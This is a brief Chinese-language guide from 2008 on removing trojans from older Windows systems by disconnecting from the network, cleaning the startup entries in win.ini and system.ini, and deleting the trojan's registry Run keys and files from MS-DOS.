知道了“木马”的工作原理,查杀“木马”就变得很容易,如果发现有“木马”存在,最安全也是最有效的方法就是马上将计算机与网络断开,防止黑客通过网络对你进行攻击。然后编辑win.ini文件,将[WINDOWS]下面,“run=“木马”程序”或“load=“木马”程序”更改为“run=”和“load=”;编辑system.ini文件,将[BOOT]下面的“shell=‘木马’文件”,更改为:“shell=explorer.exe”;在注册表中,用regedit对注册表进行编辑,先在“HKEY-LOCAL-MACHINE\Software\Microsoft\Windows\CurrentVersion\Run”下找到“木马”程序的文件名,再在整个注册表中搜索并替换掉“木马”程序,有时候还需注意的是:有的“木马”程序并不是直接将“HKEY-LOCAL-MACHINE\Software\Microsoft\Windows\CurrentVersion\Run”下的“木马”键值删除就行了,因为有的“木马”如:BladeRunner“木马”,如果你删除它,“木马”会立即自动加上,你需要的是记下“木马”的名字与目录,然后退回到MS-DOS下,找到此“木马”文件并删除掉。重新启动计算机,然后再到注册表中将所有“木马”文件的键值删除。至此,我们就大功告成了。





Modified At 2008-05-21 19:22:56